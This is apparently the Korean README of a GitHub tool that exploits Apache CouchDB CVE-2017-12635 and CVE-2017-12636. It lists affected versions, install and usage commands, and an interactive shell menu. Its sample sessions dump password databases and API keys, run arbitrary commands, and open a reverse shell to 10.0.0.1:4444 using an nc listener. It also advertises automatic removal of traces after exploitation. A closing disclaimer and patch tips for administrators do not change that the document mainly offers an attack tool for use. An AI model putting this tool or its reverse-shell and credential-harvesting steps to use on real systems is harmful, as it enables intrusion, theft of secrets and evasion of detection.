
CouchDB CVE-2017-12635/12636 취약점을 악용하여 권한 상승 및 RCE를 수행하고, 명령 실행, 데이터베이스 탐색, 리버스 셸을 포함한 대화형 셸을 제공합니다.
이 도구는 Apache CouchDB의 두 가지 치명적인 취약점을 악용합니다:
| CVE | 설명 | 심각도 |
|---|---|---|
| CVE-2017-12635 | JSON 파싱 우회를 통한 권한 상승 | 🔴 치명적 |
| CVE-2017-12636 | 쿼리 서버를 통한 원격 코드 실행 | 🔴 치명적 |
| 버전 | 취약 여부 | 수정된 버전 |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ 예 | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ 예 | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ 예 | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ 예 | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ 아니오 | - |
curl http://target:5984/
✨ 기능
✅ 자동 익스플로잇 - 모든 것을 해결하는 단 하나의 명령
✅ 대화형 셸 - 사용자 친화적인 명령 인터페이스
✅ 데이터베이스 뷰어 - 모든 데이터베이스와 문서 탐색
✅ 전체 JSON 표시 - 완전한 문서 내용 확인
✅ 전역 검색 - 모든 데이터베이스에서 키워드 검색
✅ 시스템 명령 - 대상에서 임의 명령 실행
✅ 리버스 셸 - 완전한 대화형 셸 획득
✅ 명령 기록 - 수행한 작업 추적
✅ 자동 정리 - 익스플로잇 후 흔적 제거
✅ 컬러 출력 - 읽고 이해하기 쉬움
📦 설치 사전 요구 사항 bash
python3 --version
복제 및 설치 bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Requirements txt
requests>=2.25.0 urllib3>=1.26.0
🚀 사용법 기본 사용법 bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Command Line Options bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 명령어
익스플로잇에 성공하면 대화형 셸을 얻게 됩니다: 명령어 설명 예시 db 문서 수와 함께 모든 데이터베이스 표시 db view 데이터베이스의 모든 문서 보기 (전체 JSON) view passwords raw 원시 서버 응답 표시 raw admin count 데이터베이스의 문서 수 세기 count users search 모든 데이터베이스에서 키워드 검색 search admin exec 시스템 명령어 실행 exec whoami reverse 리버스 셸 설정 reverse 10.0.0.1 4444 history 명령어 기록 표시 history help 이 메뉴 표시 help exit 정리 후 종료 exit 📊 예시
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
데이터베이스 내용 보기 bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] 10.0.0.1:4444로 리버스 셸 설정 중 [!] 리스너가 실행 중인지 확인하세요: nc -lvnp 4444 [?] 계속하시겠습니까? (y/n): y [+] 리버스 셸이 트리거되었습니다!
🖼️ 스크린샷 실제 익스플로잇 실행 화면
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot 데이터베이스 뷰
https://via.placeholder.com/800x400?text=Database+View 리버스 셸
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ 면책 조항
중요: 이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다.
🚫 명시적인 허가 없이 시스템에서 사용하지 마세요
🚫 작성자는 어떠한 오용에 대해서도 책임지지 않습니다
🚫 통제된 환경이나 본인의 시스템에서만 사용하세요
✅ 테스트 전에 항상 서면 승인을 받으세요
✅ 책임 있는 공개 관행을 따르세요
이 도구를 사용함으로써 귀하는 이 약관에 동의하게 됩니다. 🔐 보안 팁
시스템 관리자라면:
즉시 CouchDB ≥ 1.7.0 또는 ≥ 2.1.1로 업그레이드하세요
방화벽을 사용하여 5984 포트에 대한 접근을 제한하세요
인증을 활성화하고 강력한 비밀번호를 사용하세요
의심스러운 활동이 있는지 로그를 모니터링하세요
인프라에 대한 정기적인 보안 감사를 실시하세요
빠른 해결책 bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # 또는 최신 버전
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 참고 자료
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB 보안
Exploit-DB
👤 작성자
darabium
GitHub: @darabium
Telegram: @darabium
⭐ 지원
유용하게 사용하셨다면:
⭐ 저장소에 별을 눌러주세요
🐛 이슈를 보고해주세요
🔧 개선 사항에 기여해주세요
📢 다른 사람들과 공유해주세요
📄 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
보안 연구를 위해 ❤️로 제작되었습니다
⬆ 맨 위로 돌아가기